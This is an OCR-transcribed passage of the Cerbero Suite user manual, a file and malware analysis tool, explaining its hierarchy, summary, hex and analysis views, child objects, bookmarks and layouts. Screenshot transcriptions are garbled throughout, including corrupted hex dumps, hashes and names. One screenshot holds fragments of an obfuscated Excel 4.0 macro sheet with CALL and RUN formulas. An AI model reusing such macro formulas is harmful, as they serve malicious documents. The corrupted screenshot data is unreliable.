& Icon 3 [lang:1033] 0% image DIBICO  4.164KBs  Child
& Icon 4 [lang:1033] 0% Image DIBICO  2383KBs  Child
& Icon 5 [lang:1033] 0% Image DIBICO  1.102KBs  Child
4 Il /EFI/boot/grubx6d.efi 0% Executable PE 1.607 MBs ~ Child
4 Certificates
A7 Certificate 0% Certificate  PKCS7 1.367KBs  Child
4 Il /EFI/boot/bootx64.efi 40% Executable PE 912.3KBs  Child
4 4 Certificates
A7 Certificate 0% Certificate  PKCS7 8359KBs  Child
B /boot/grub/x86_64-efi/zstd.mod 0% Executable ELF 77.46KBs  Child
B /boot/gruby/x86_64-efi/zfscrypt.mod 0% Executable ELF 8281KkBs  Child
B /boot/grub/x86_64-efi/xzio.mod 0% Executable ELF 19.28KBs  Child
B /boot/gruby/x86_64-efi/xnu_uuid_test.mod 0% Executable ELF 3.141K8s  Child
B /boot/grub/x86_64-efi/xnu_uvid.mod 0% Executable ELF 3.18KBs  Child
B /boot/grub/x86_64-efi/xnu.mod 0% Executable ELF 412KBs  Child
B /boot/gruby/x86_64-efi/xfs.mod 0% Executable ELF 1039KBs  Child
B /boot/gruby/x86_64-efi/wrmsr.mod 0% Executable ELF 2344KBs  Child
B /boot/grub/x86_64-efi/videotest_checksum.mod 0% Executable ELF 368KBs  Child
B /boot/gruby/x86_64-efi/videotest mod 0% Executable ELF 5492K8s  Child
B /boot/grub/x86_64-efi/videcinfo.mod 0% Executable ELF 5.188KkBs  Child
| 4-efi/video fbo.mod 0% Executable ELF 27.56 KBs__Child 2
Enter Python code here [focus with Ctrl+alt+.

Selecting a different object in the hierarchy view changes the contents of the summary
and format views.

The hierarchy view includes a text filter, allowing you to quickly locate the child objects
of interest.

“ Hierarchy
efi

MName
4 | debian-11.5.0-amd64-netinst.iso
>l Archives
4 4 Executables
M /EFI/boot/grubxe4.efi
M /EFI/boot/bootx64.efi

Note: In Cerbero Suite, you can toggle focus between a text filter and the control it filters
by pressing the Ctrl+T shortcut.
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4.9.1 SAVING AN OBJECT TO DISK

If an object is currently loaded, you can save it to disk by selecting the 'Save to Disk’
action from the context menu.

: Save to Disk Ctrl+D

4.9.2 SAVING CHILD OBJECTS TO DISK

To save the child objects of a loaded object to disk, select the 'Save Children to Disk’
action from the context menu.

:Save Children to Disk

You will be prompted to choose a destination folder where all the child objects will be
saved.

This action eliminates the need to manually extract each object individually and is par-
ticularly useful when you need to process child objects with external tools.

4.9.3 ADDING A CHILD OBJECT

Adding a child object is performed within the analysis view, specifically through a hex
view or a file system view.

4.9.4 UNLOADING A CHILD OBJECT

Unloading a child object by selecting the "Unload’ action from the context menu can help
reduce resource usage, though it’s not strictly required. Cerbero Suite efficiently manages
resources and adheres to the RAM usage limits specified in the settings.

:Unlﬂad Ctrl+U

4.9.5 REMOVING A CHILD OBJECT

To remove a child object, select the 'Remove’ action from the context menu.

Remove Del
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Warning: this action is irreversible. Once removed, the child object’s analysis data cannot
be restored.

4.9.6 OBJECT FLAGS

At times, the calculated risk factor for a file may be accompanied by letters.

4 | | image.zip 0% (e)
4 4 lmages
== image.png ? (e)

The letters accompanying the calculated risk factor represent issues encountered during
the scanning process. By hovering the mouse pointer over the object, you can receive an
explanation of what these letters signify.

0% (e) Archive ZIP 4.167 KBs Root
Name: C:\Users\h\Documents\image.zip

? Format: ZIP

Size: 4167 KBs

The risk percentage is 0%, but could be more, since some parts of the file or sub-files produced the following problems:
e - failed decryption

The letters that may follow the calculated risk factor for a file indicate specific issues
encountered during its scanning:

c - Failed decompression

e - Failed decryption

s - File size exceeds the limit (this is configurable)

n - Object is nested too deeply (this is configurable)

m - Some child objects were not processed (this is configurable)

r - Not all entries could be saved to the report due to exceeding the maximum
number

h - Not all shellcode entries could be saved to the report, as there were too many
e p - The file format parser encountered an internal limit
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4.10 SUMMARY VIEW

The summary view displays scan results for the current object, if any are available.

[J Summary g X

Intrinsic threats
&% NET Byte Code
&8 Native Code: x86
Threats
&) Signature Match: YARA
Information
& Version Information
@ Metadata: Medialnfo
Warnings
44 Untrusted Digital Certificate

Scan results are organized into the following categories:

Threats: Represents the most critical level of findings, indicating direct threats
posed by the object.

Intrinsic Threats: Identifies threats inherent to the object’s nature. For instance,
executable files inherently contain code that could be considered a threat due to
their potential to execute harmful actions.

Warnings: Highlights potential threats or issues with the file’'s format that may
not pose an immediate risk but warrant attention.

Privacy: Points out potential private or sensitive information embedded within
the object that may be of concern.

Information: Includes general information and metadata, as well as any type of
interesting artifact that doesn’t neatly fit into the other categories.

Online: This category includes results that provide additional information fetched
from online resources, which becomes accessible when the user interacts with these
results.

4.10.1 REMOVING A SCAN ITEM

To remove a scan item from the summary, simply select the 'Remove’ option from the
context menu. However, doing this will not affect the calculated risk for the object.

Remove Del

Warning: this action is irreversible.
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4.10.2 ADDING A CARBON DISASSEMBLY PROJECT

You can add a Carbon disassembly project for the current object by selecting ”New
Disassembly...” from the context menu. Alternatively, this action can be performed using
the corresponding entry in the main menu or the toolbar button.

f& New Disassembly... Ctrl+Alt+C

An individual object in the hierarchy can be associated with multiple Carbon disassembly
projects, each potentially set to a different default architecture. Additionally, it’s possible
to mix architectures within the same disassembly project.

A disassembly project can be deleted in the same manner as any other scan item.

4.11 FORMAT VIEW

The format view displays items related to the format of the current object under analysis.

= Format g X
Fitter. ..
I Dos Header
4 % Nt Headers
% File Header
4 |§ Optional Header
1% Data Directories
I'# Section Headers
4 Import Directory
W Resource Directory
W Security Directory
L Relocation Directory
L |AT Directory

Similar to the hierarchy view, this view includes a text filter to quickly locate items of
interest.

4.12 OUTPUT VIEW

The output view is a text view dedicated to displaying textual output from various
sources: the scan process, the invocation of actions, the evaluation of statements in the
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command line interpreter, and the invocation of the 'print’ function from Python.

= Output 5
Hello from Python

4.13 ANALYSIS VIEW

The analysis view functions as a unique container within which content is populated
exclusively by three sources: the hierarchy view, the summary view, and the format
view. It doesn’t adhere to a fixed visual format; instead, it serves as a flexible space that
can display a variety of views based on the item selected.

Selecting a specific item from any of the mentioned sources can result in different types
of displays within the analysis view. For example, clicking on one item might generate a
table, whereas another item could lead to the presentation of a text view.

4.13.1 TABS

The analysis view is capable of presenting multiple inner views for the same item, illus-
trating its versatility. For instance, an object in the PDF format can be visualized in
various ways within the same analysis view. It can be seen in its raw form, its decom-
pressed stream can be inspected as hex or text, or its dictionary can be examined as a
tree. When a different tab is selected, a distinct view is presented, all within the context
of the same analysis view.

24, Analysis [6.0]

UX Hex || UX Raw data Text | 4 Tree

Offset 01 2 3 4 5 & 7 8 ¢ A B C DE F ASCIT

00000000 36 20 30 20 6F 62 6A OR 3C 3C OR 2F 54 79 70 65  6.0.cbj.<<./Type <-Dict/Value
00000010 20 2F 58 4F 62 6A 65 63 74 OB 2F 53 75 62 74 79 ./XObject./Subty

00000020 | 70 65 20 2F 49 6D 61 67 65 0B 2F 57 69 64 74 68 pe./Image./Width

00000030 | 20 31 30 32 34 0A 2F 48 65 69 67 68 74 20 31 30 .1024./Height.10

00000040 | 32 34 OR 2F 42 69 74 73 50 65 72 43 6F 6D 70 6F 24./BitsPerCompo

00000050 6E 65 6E 74 20 38 0A 2F 43 6F 6C 6F 72 53 70 61 nent.8./ColorSpa

00000060 63 65 20 2F 44 65 76 69 63 65 52 47 42 0A 2F 53 ce./DeviceRGB./5

00000070 | 4D &1 73 €B 20 33 35 20 30 20 52 0A 2F 4C 65 6E Mask.35.0.R./Len

00000080 | 67 74 €8 20 31 30 30 33 36 30 20 20 20 20 OA 2F gth.100360..... /

00000090 46 69 6C 74 65 72 20 2F 46 6C 61 74 65 44 65 63 Filter./FlateDec

00000020 6F 64 65 OA 3E 3E OA 73 74 72 65 61 6D OAR 78 DR ode.>>.stream.Xx. <-Dict/Value - Stream Data

00000080 EC 9D 07 78 54 65 Fé FF AF EC AR €B C7 55 DC BS | ...xTe.....k.U.. <-Stream Data
000000C0 | EE SA 56 C5 55 F8 D9 70 65 5D F5 8F 65 57 A5 28 .ZV.U..pe]..eW.(
000000D0 | 1A A4 28 20 4D 85 80 34 A5 87 50 14 30 D2 21 A1 ..(-M..4..P.0.!.

000000E0 B85 50 12 cA A4 90 46 7A 32 49 66 32 49 80 74 42 | .P....Fz2If2I.tB

4.13.2 HIERARCHY OBJECTS TABS

When an object from the hierarchy view is selected, it causes the analysis view to display
various tabs. These tabs vary depending on the object: some are universal to all objects,
some are specific to objects within the same category, and others are unique to the type
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of object being viewed. We’ll explore the tabs that are common across all objects and
those that are shared by objects within the same category.

4.13.2.1 OVERVIEW TAB

The overview tab offers detailed information about the object, including its name, size,
calculated cryptographic hashes, file timestamps, and object-specific information. Addi-
tionally, if available, it outlines the quotas of different data types within the object and

the calculation of entropy for foreign data.

(X Hex Text | [} Overview

Name: kerneB2.dI
Size: 1500160 bytes (1.431 MBs)
: PE

SHA-256: 9EE1AD3D6F86D37824D1B821771EASSIDI4EDAFF6SACAFFAECODB0004DBC6487

Created: Thu Jan 19 11:58:32 2023 (UTC: Thu Jan 19 11:58:32 2023 GMT)
Modified: Fri Aug 14 10:06:39 2020 (UTC: Fri Aug 14 09:06:39 2020 GMT)
Accessed: Thu Jan 19 11:58:32 2023 (UTC: Thu Jan 19 11:58:32 2023 GMT)

Type: Portable Executable 64 (AMD x64)

Version Information:
CompanyName: Microsoft Corporation
FieDescription: Windows NT BASE API Clent DLL
FieVersion: 5.2.3790.1830 (srv03_spi_rtm.050324-1447)
InternalName: keme32
LegalCopyright: © Microsoft Corporation. Al rights reserved.
OriginalFiename: keme[32
ProductName: Microsoft® Windows® Operating System
ProductVersion: 5.2.3790.1830|

Foreign Data Entropy

oN s o
[N

An object can include four types of generic data:

not referenced or its purpose is unknown.

600

800 1000

Format Data: Integral to the object’s format.
Foreign Data: Not part of the object’s inherent structure, thus unaccounted for.
Unreferenced/Unknown Data: Although part of the object, this data is either

Custom Data: Optionally included in some objects, this data is part of the format

but can consist of arbitrary contents. For example, archives may classify embedded

files under this type.

4.13.2.2 HEX TAB

The hex tab presents the content of the object in

|’ Ux Hex ” © Text H Ll Overview

a hex view.

6 7 8
00 00 04

9 A B C

00 00 00 FF
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 F8
O0E 1F BA OE 00 B4 09 ¢D 21 B8 01 4C CD
69 73 20 70 72 6F &7 72 61 6D 20 63 61
74 20 62 65 20 72 75 6E 20 6% 6E 20 44
6D 6F 64 65 2E 0D 0D OA 24 00 00 00 00

Offset

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070

001 2 3 4 5
4D 5A 90 00 03 00
B8 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
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FF 00 00
00 00 00
00 00 00
00 00 00
21 54 &8
6E 6E &F
4F 53 20
00 00 00

<-Format Data

is.program.canno
t.be.run.in.DOS.
mode....5.ceen..
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4.13.2.2.1 DATA RANGES

When the current object supports data types, a range bar adjacent to the hex view
provides an overview of the data types present in the file and their distribution.

U Hex Text | [l overview

offset 01 2 3 4 5 6 7 8 92 B CDEF ASCII

00000000 4D 5A S0 00 03 00 00 00 04 00 00 00 FF FF 00
00000010 B8 00 00 00 00 00 00 0O 40 00 00 00 00 00 00
00000020 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00
00000030 00 00 00 00 00 00 00 0O 00 00 00 00 10 01 00
00000040 OE 1F BA OE 00 B4 09 CD 21 BB 01 4C CD 21 34
00000050 6% 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6
00000060 74 20 62 65 20 72 75 6B 20 69 6E 20 44 4F 53 20 t.be.run.in.DOS
00000070 6D 6F 64 65 2E 0D 0D OA 24 00 00 00 00 00 00 00 mode....$.......

<-Format Data

You can swiftly navigate to a specific data type directly from the hex view’s context menu
by selecting the 'Ranges’ — ’Jump To...” action.

Ranges * |[#] visible
,

Layout .
Select Contiguous Range  Ctrl+Alt+A
Duplicate View Ctrl+Shift+D
To Text Browser View Ctrl+Shift+T Sl 1)
ote Jump to Previous Shift+F2

You can choose the type of data you wish to jump to, as well as specify the minimum
amount of contiguous bytes of that data type that interests you.

Jump To... - Cerbero Suite E

Foreign Data ©
Direction: Down ~

Min. contiguous bytes: |1

Finally, the hex view will navigate to and display the requested data type.

UX Hex Text | il overview

offset 01 2 3 4 5 6 17 8 9 A B C DE F ASCII

00083B60 B84 37 88 37 8C 37 %0 37 94 37 98 37 9C 37 AO 37 .
00083B70 A4 37 A8 37 AC 37 BO 37 B4 37 B8 37 BC 37 CcO 37 .
00083B80 C4 37 cC 37 DO 37 D4 37 D8 37 DC 37 EO0 37 E4 37 .
00083B%0 00 38 18 38 30 38 54 38 78 38 A0 38 CO 38 D8 38 .
00083BA0 F4 38 10 39 38 39 3C 39 44 35 48 39 4C 39 54 39

.7.7.7.7.7 <-Format Data
.1.7.7.7
27.7.7.7.7
TBxB8.8.8.8

7
.7
.7,
8
.989<9DYHILITY

00083BCO B0 39 84 39 88 39 8C 39 90 39 94 39 9C 39 AO 39

00083BDO A4 39 A8 39 BO 39 B4 39 B8 39 BC 39 CO 39 c4 39
00083BE0 C8 3% CC 39 DO 3% D4 39 D8 3% DC 39 EO0 3% E4 38
00083BF0  E8 3% EC 39 F0 3% F4 39 F8 3% 00 00 00 00 00 00
00083c00 ED 53 43 46 00 00 00 00 EO D3 04 00 00 00 00 0O
00083C10 2C 00 00 00 00 00 00 0O 03 01 01 00 06 00 00 00 ,..
00083Cc20 00 00 00 00 9D 00 00 00 1B 00 01 00 6C 50 01 00
00083C30 00 00 00 00 00 00 1E 53 95 A5 20 00 30 00 00 72
00083c40 09 00 6C 50 01 00 00 00 1E 53 2A A5 20 00 75 30
00083C50 00 FC 2E 00 00 6C C2 OA 00 00 00 1E 53 6D A4 20

7
7
7
8
.8

00083BBO 5C 39 60 39 64 39 6C 39 70 39 74 39 78 39 7C 39 | \9°9d919p9t9x9|9
9.9.9.9.9.9.9.9
9
9
9
S

<-Foreign Data

To select contiguous data of the same type, utilize the 'Ranges’ — ’Select Contiguous
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Range’ action available in the context menu.

Ranges * |[w] visible
Layout o :
Select Contiguous Range  Ctrl+Alt+A
Duplicate View Ctrl+Shift+D
To Text Vi Ctrl+Shift+T T ek ctri+)
o fext View Jump to Previous Shift+F2
/ Filter... Ctrl+T Jump to Next F2

4.13.2.2.2 ADDING CHILD OBJECTS

Child objects can be created exclusively within the analysis view and must originate from
a hex view or a file system view. To create a child object from a hex view, position the
caret at the desired starting point of the child object. If no data is selected, the size of the
child object will be determined by the total data amount available in the hex view minus
the offset of the current caret position. Under these conditions, a ’Add Child Object’
option becomes accessible in the context menu.

Add Child Object Ctrl+E

If you select data, the corresponding action in the context menu will be labeled "Add
Selection as Child Object’.

Add Selection as Child Object Ctrl+E

Regardless of the action’s name, selecting it will prompt a dialog box where you can
specify the name of the child object, its format, and whether filters should be applied
before loading it. Cerbero Suite attempts to automatically determine the format of the
child object and select the most suitable option.

Select a format... - Cerbero Suite = 8

nnnnnnnnnnn

cfont, 12

If you decide that the object should undergo transformation (such as decoding, decom-
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pressing, decrypting, etc.) before being loaded, you can specify the necessary filters.

i Filter... - Cerbero Suite = =
Fte [property Value
< misc S
7 basic operation xor
7/ copy bits 8
7 endianness endianness tte
7 insert radix 16
7 replace value
7/ reverse | Condition (optional)
4 . convert check none.
7 from_armay cvalue
2 from base64. M| Range
fpadd | ¥ Remove | 4 MoveUp | 4 Move D offset 1
size 1
trim
Prew
Offsst | 0 L 2 3 4 5 6 7 asciT A[offset 0 1 2 3 a4 5 6 7 ascx
00000000 4D 53 43 46 00 00 00 00
00006 | 0 D3 04 00 00 00 00 00 ..
0 2¢ 00 00 00 00 00 00 00
00000030
00000038 | 95 AS 20 00 30 00 00 72 ..
00000040 | 09 00 6C 50 01 00 00 00 ..1P....
00000048 | 1E 53 22 AS 20 00 75 30 .S%... .

After confirming the dialog, the new child object will appear in the hierarchy view. You
can start its analysis by selecting it.

“ Hierarchy 8 x
Filter

Name
4 @ python-3.9.7-amd64.exe
4 4 Archives
& [suB] python-3.9.7-amd64.exe (offset:0x83C00 size:0x1B08FF8)

4.13.2.3 TEXT TAB

The text tab presents the content of the object in a text browser view.

‘ (X Hex ” - Text H Tl overview ‘

16680 //

16681 // File header format.

16682 //

16683

16684 _IMAGE FILE HERDER |
16685 WORD Machine;

16686 WORD Numberofsections;

16687 DWORD  TimeDateStamp;

16688 DWORD  PointerToSymbolTable;
16689 DWORD NumberCfSymbols;

16690 WORD SizeOfOptionalHeader;
16691 WORD Characteristics;

16692 } IMAGE FILE HEADER, *PIMAGE FILE_HERDER;
16693

4.13.2.4 RAW DATA TAB

The raw tab is not commonly available; it appears only when the entire object required
decompression or decryption prior to scanning. In such instances, the object’s data
stream is replaced, and the raw tab provides the functionality to examine the original
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data stream in a hex view.

‘:Ux Hex HoxRaWDda N - Text “ l.l Overview |

Offset 01 2 3 4

00000000 43 57 53 0B 9F
00000010 F8 36 BA CF DE
00000020 29 AD R4 R4 74
00000030 4B 87 80 94 84
00000040 F7 77 DE EB 3R
00000050 33 CF CC %A 58
00000060 78 C3 8B E1 08

4.13.2.5 PREVIEW TAB

5

€

02
1
B4
82
9F
8D
00

7

oo
48
oA
74
F3
CE
44

8

78
83
a2
49
6E
00
21

FO 79 CF | K...... £T..... ¥
EF 79 Dé Wil n/® ¥
6F 00 6E | 3...Y{...... Bo.n
37 2C 09 X...... D.'..>7,

The preview tab provides a preview of text documents or media objects, like images.

Oxtex | e

4.13.2.6 EXPLORE TAB

Overview ” ) Preview

‘Suffix pattern : up to 8/16 bytes of DO
User allocation: the infix pattern can be €0 (allocated and
user did not request zeroed block) or FO (free).

Prefix end magic : DCBABBBB if allocated and DCBABBEA if free.

Block information : user size, real size, stack trace.

Prefix start magic: ABCDBBBB f allocated and ABCDBBBA if free.

The explore tab facilitates the exploration of file system objects.

‘:UxHex H - Text ”:uoveww ”ﬂExl*ue ]

«saB

Name
- disk
i boot
i css
L dists
4 doc
W EFI
a firmware
W install
W install.amd
W isolinux
W pics
i pool
L tools

1 g2ldr
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>

[lnl Overview

‘ Ox Hex

| Text

\iﬁ Hashes
‘: & Medialnfo

[0 vara

Name
Name
Path
Size
File Type
Detected Format
MD5
SHA-1
SHA-256

autorun.inf

fautorun.inf

146 bytes (146 bytes)

inf File

?

Double click here to calculate the hash
Double click here to calculate the hash
Double click here to calculate the hash
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4.13.2.7

Object may feature their own unique tabs. For instance, a Microsoft

ADDITIONAL TABS

displays its spreadsheets within an additional tab.

0x Hex Text | Jull Overview |~ Spreadsheet
DP DQ DR
=RUN(3HUS1/6)
1641
e FALSE
=CALL($CK$76,5GJ$1365,"JJCC)J",0,$BB...
T8 FALSE
=CALL($BM$1238,$J$1035,")JCCCCI"0...
—_— FALSE
=HALT(
<
[BvkFvmzltsgS] (macrosheet) | [LONYbgMN] ) | [Maco2] ) | [Macro3] [Sheet1] (worksheet)
Defned names | Formulas
Exclude functions
RUN/GOTO [¥] CHAR [¥] CONCAT
Index Formula
‘BVkFvmZLtsgS'1BB54 =$CT$1938
‘BvkFvmzLtsgS'IDQ1642 =CALL(SCK$76,5GJ$1365,"1JCC))",0,$BB$54,SAD$ 1751,0,0)
‘BvkFvmzLtsgS'IDQ1643 =CALL(SBM$1238,$J$1035,"JCCCCJ",0,5DI$1692,$AD$1751,0,0)
‘BVkFvmzLtsgS'IDQ1644 =HALT(

4.13.3 NAVIGATION

Excel document

The navigation within the analysis window is highly advanced, enabling users to seam-
lessly toggle between hierarchy views, summary views, and format views. Utilizing the
navigation arrows allows users to return precisely to their previous location in the anal-

ysis.

Navigation | Actions Views Tools Help

4 Go Back in Analysis View

& Go Forward in Analysis View

Ctrl+Shift+Left
Ctrl+Shift+Right

For example, you might find yourself inspecting a table after selecting an item from the

format view.

Subsequently, you

“ Herarchy 5 x

4 Analyss [Impore Drectory]

Fie

Hodule Name Imports Original. TimeDateStamp Forwarderchain
Name 00001578 000011AC 00001130 00001184
00000000 (m) 00000004 00000004 00000004
4 B ExceptionTest.exe
2 I Documents MsVCR120.d11 27 00002420 00000000 00000000
 Configuration File 1 [lang:1033] || XERNEL32.d11 3 0000238 00000000 00000000
< >
2 summary 5 x
Intrinsic threats ~
& Native Code: x64
Privacy
| & Debug Data FTs (IAT)
e 00001178 00000820 o000148C 00001488
00000008 00000008 00000002 00000018
© Vetadata: Mediainfo v
15 45 0200 GetsystenTineasFileTine
5 Format 5 x
= 0000000000002738  0000000000002738 0214 GetCurrentthreadld
¥ File Header ~ 0210 Get ) s1d
4 14 Optional Header 0000000000002708  0000000000002708 0430 Quer:
14 Data Directories )
1 Section Headers 0en
Import Director
S rp o 0125
4 Resource Directory
o 00FF

i Exception Directory
i Relocation Directory v

00001188
00000004

00002508
00002778

A
'y
N
A
m
A
&
A

FirstThunk
0000118C
00000004

00002048
00002000

might choose to examine the disassembly details available in the sum-
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mary view.

“ Herarchy & x| Analysis [Native Code: x64]
Fiter text:0x140001000
text:0x140001000
pame text:0x140001000 sub  xsp, 0x28
4 i@ ExceptionTest.exe text:0x140001004
4\ Documents text:0x140001004 loc_140001004
» Configuration File 1 flang:1033] || - £2xE:0x140001004
text:0x140001004 mov  eax, Oxa
text:0x140001009 cdg
text:0x140001008 xor  ecx, ecx
text:0x14000100C idiv  ecx
text:0x14000100E mov  edx, eax
a 5 || -text:0x140001010 lea  rex, [0x140002188]
text:0x140001017 call quord ptr [0x140002118]
L4 Summary @6 | _ text:0x14000101D Imp loc_14000102D
Intrinsic threats ~|| - text:0x14000101D
5 text:0x14000101F
& Native Code: XG4 text:0x14000101F loc_14000101F
Privacy text:0x14000101F
& Debug Data _text:0x14000101F lea  rex, [0x1400021C0]
Information text:0x140001026 call qword ptr [0x140002118]
Mod text:0x14000102C nop
@ Metadata: Medialnfo | P osibeprecipes
& Format @il | . text:0x14000102D loc_14000102D ; CODE XREF: 0x14000101D
‘‘‘‘‘ text:0x14000102D xor  eax, eax

If you opt to navigate back using the navigation action, you will be returned to the exact
table in the same state as it was when you previously examined it.

% Herardhy 5| S Anayss [Import Drectory]
Fiter. Module Name Imports Original. TimeDateStamp ForwarderChain  Name  FirstThunk
) 00001578 000011aC 00001180 00001124 00001188  00001iEC
Wit 00000000 (@) 00000004 00000004 00000004 00000004 00000004
. eptionTest.exe
= BB Documents MSVCR120.d11 27 00002420 00000000 00000000 00002508 00002048
~ Configuration File 1 (lang:1033] || KERNEZ32.d11 s 00002308 00000000 00000000 00002778 00002000
< >
L Summary 5 x
Intrinsic threats ~
& Native Code: x64
Privacy
L Debug Data orzs FIs (1AM Eint Name Denangled
T 00001178 00000E20 0000145C 00001452
@ vietodata: veciaint 00000008 00000008 00000002 0000001&
etadata: Mediainfo v
T - 1B 4E 020D GetsSystemTimeAsFileTime NA
rmat x
= 0000000000002738  0000000000002738 0214 GetCurrentThreadid 'y
[ i DosHeader  A]|0000000000002722 0000000000002722 0210 GetCurrentProcess: 4 Y
4 Rich Signature 8 000! 02708 0430 NA
4 14 Nt Headers 0370 e
14 File Header oen . -
4 14 Optional Header vz -
14 Data Directories ¢
B Section Headers 0000000000002763 0000000000002768  00FF. Decoderointer Y
I Import Directory o

Navigating forward will once again bring you to the analysis of the disassembly.

Navigation actions are useful because they streamline the analysis process, allowing users
to efficiently move between different views and states of their data without losing context
or progress.

4.13.4 BOOKMARKS

Bookmarks are a highly effective feature within analysis views, offering two types: global
bookmarks and those specific to the current root object.

@ Open Global Bookmarks Ctrl+Alt+B
. Open Bookmarks Ctrl+Shift+B

4 Add Bookmark Ctrl+B

When adding a bookmark, a dialog appears that allows you to fill out various fields for the
bookmark, including its name, timestamp, and description. The value field is computed
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automatically based on the current context. You can also specify whether the bookmark
should enable a jump back to the analysis view.

Add Bookmark - Cerbero Suite - 0

-

Global Local

Name
bookmark name

Timestamp
4/10/2024 4:48 PM

Value
4D534346

4D534346

Comment

Jump to analysis

Save Cancel

Bookmarks can be edited, deleted, and organized into folders for better management.

g Hierarchy [ @ Global Bookmarks £ €

Name Timestamp Value
Ibookmark name Wed Apr 1... 4D5343

New Folder  Ctrl+P
Edit... Ctrl+E
Delete Del
Delete All

<

- Find... Ctrl+F

1 Siimmane

If a bookmark is capable of jumping back to the analysis view, it will be highlighted in
color. Selecting such a bookmark will return you to the exact analysis view in the same

state as when you left it.

“g Hierarchy [ @ Global Bookmarks &
Name Timestamp Value
4 4 My Folder

bookmark name Wed Apr 1... 4D534
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4.13.5 ADDITIONAL ANALYSIS VIEWS

Multiple analysis views can be open simultaneously. To open an additional analysis view,
select ’Open New Analysis View’.

-y :Open New Analysis View

Alt+Shift+A

The analysis view that is used to display data is determined by which view is

active. The active analysis view is distinguished by a different dock title color.

 Herarchy

Fter

Name

+ |l BxceptionTest.exe
4 i Documents

L Summary
Intrinsic threats
@ Native Code: x64
privacy
L Debug Data
Information
@ Metadata: Medialnfo
2 Format
Fter
14 Dos Header
1 Rich Signature
i Nt Headers
14 File Header
4 Optional Header
14 Data Directories
14 Section Headers

St
* Configuration File 1 (lang:1033]
Poir

X Anayss [Fle Header]

Name offset
Machine 000000EC
Numberofsections 000000%E

meDatestamp 00000100
TosynbolTable 00000104
Nunberofsynbols 00000108
0000010¢
00000105
S Anaysss [Optonal Header]
Name offset
Magic 00000210
00000112
00000113

x| sizeofCode 00000214
sizeofInitializedpata 00000118
SizeOfUninitializeddata o000011¢
AddressOfEntryPoint 00000220
Baseofcode 00000124
InageBase 00000128
sectionalignment 00000230
FileAlignment 00000134

a664
0006
sceos603
00000000
00000000
o0F0
0022

value Description

2D x64

Wed May 1 09:25:23 2019 GMT

Click here

value Description
0208 eE64
oc

0

00000800

00001400

00000000

00001314 text
00001000

0000000140000000

00001000

00000200

currently

4.13.6 VIEWING DATA FROM DIFFERENT OBJECTS SIDE-BY-SIDE

Viewing data from different objects side-by-side involves utilizing multiple analysis views.
After opening and activating an additional analysis view, it can be used to view data from

a different root or child object.

It’s important to note that there can only be one current object at any time in the analysis
workspace for which you can create bookmarks and add child objects.

4.14 HEX VIEWS

Hex views are one of the most fundamental ways to visualize data in Cerbero Suite,
offering numerous features and significant flexibility.
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4.14.1 SAVING SELECTED DATA TO DISK

To save selected data to a disk, utilize the 'Copy’ — 'Copy Into New File’ context menu
action.

Copy ' Copy Ctrl+C
Edit ’
- ASCII
Position b
: UTF-8
Find v
UTF-16-LE
Select ’
. UTF-16-BE
View 4
Print 3 Hex
Screenshot 3 Hex (Inverse)
Ranges 3 Base64
Layout » Editor
Duplicate View Ctrl+Shift+D Offset (Hex)
© To Text View Ctrl+Shift+T Offset (Dec)
7 Filter... Ctrl+T Copy Into New File

4.14.2 VIEWING SELECTED DATA AS TEXT

To convert hex data into text, there are primarily two methods. The quickest approach is
to select the "To Text’ option from the context menu, which launches a new text browser
view. This view automatically identifies the encoding, but you have the option to modify
it if needed.

7 .To Text Browser View Ctrl+Shift+T

The alternative method is to use the 'Bytes To Text’ conversion action.

4.14.3 EDITING DATA

In the analysis workspace, all views are designed to display information without altering
the original data, preserving the integrity of forensic evidence. However, hex views allow
for safe editing operations, ensuring the original data remains unchanged. These editing
features enable users to modify data temporarily, which can then be saved to disk using
the "Copy Into New File” action or used in subsequent operations.

© 2025 Cerbero Labs

Undo Ctrl=Z

Cut Ctrl+X
Copy Ctrl+C
Paste Insert Ctrl+V
Paste Write Ctri+Alt+V
Insert Bytes Ctrl+|
Delete Del
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4.14.4 ADDING ROOT OBJECTS

While adding child objects is permitted solely within the context of analysis views, adding
a root object from the contents of a hex view is always possible using the ’Add Root

Object’” and "Add Selection as Root Object’.

4.14.5 LAYOUTS

E :Add Selection as Root Object

Hex views enable you to define layout elements for data analysis with ease.

To create a new layout element, select a portion of data in the hex view and select "Add

Interval’.

7/

Copy

Edit
Position
Find

Select
View

Print
Screenshot
Ranges
Layout

Duplicate View

© To Text Browser View

Filter...

Make Selection an Embedded Object
k&' Make Selection a Root File

= Select... Ctrl+L
Ctrl+Shift+D Import
Ctrl+Shift+T Rename...
Ctrl+T &) Add Interval Ctrl+M
Ctrl+E & Add Structure Ctrl+Alt+M

3
» |is.program.canno
»
»

t.be.run.in.DOS.

Tele

B-.PA.. . #z.NE..

Upon selection, a dialog will appear where you can specify the name and color of the

layout element.

Once added, the layout

Offset
00000000
00000010
00000020
00000030
00000040
00000050
00000060
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Color:

OK

Description: |Dos Header

Color

Cancel

) Add Interval - Cerber...n

Randomize color

element will be visible in the hex view.

01 2 3 4 3

4D 53 90 00 03 00
B8 00 00 00 00 0O
00 00 00 00 00 00
00 00 00 00 00 0O
0E 1F BR 0E 00 B4
69 73 20 70 72 &F
74 20 62 65 20 72

e 17
00 00
00 00
00 00
00 00
09 CD
67 72
75 6E

8 9 A B CDEF

04
40
00
00

00 00
00 00
00 00
00 00

21 B8 01

61
20

6D 20
69 6E

00
00
00
00
4c
63
20

FF FF 00
00 00 00
00 00 00
08 01 00
cD 21 54
61 6E 6B
44 4F 53

00

6F
20

Lo cccooccooccas <-Dos Header

is.program.cannc
t.be.run.in.DOS.
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Y

An existing layout can be loaded using the ’Select...” menu action.

Layout "B select.. Ctri+L
Duplicate View Ctrl+Shift+D Import
» To Text View Ctrl+Shift+T Export
Filt ctil+T Detach
+

Z Hter ! Rename...
Make Embedded Object Ctrl+E

[ Make Root File &F Add Structure Ctrl+Alt+M

A Remove Item Ctrl+Del

The "Layouts’ dialog allows you to load, rename, delete, import, and export layouts. By
default, layouts are saved within the current project. Importing and exporting layouts
is useful for sharing them between different projects or for saving layouts to disk when
operating outside the analysis workspace, allowing them to be reloaded later.

< Layouts - Cerbero Suite

unknown_2024/04/12)  Rename  Ctrl+N
Delete Del

Export..  Ctrl+E
Import...  Ctrl+l

4.14.6 LAYOUT INSPECTOR

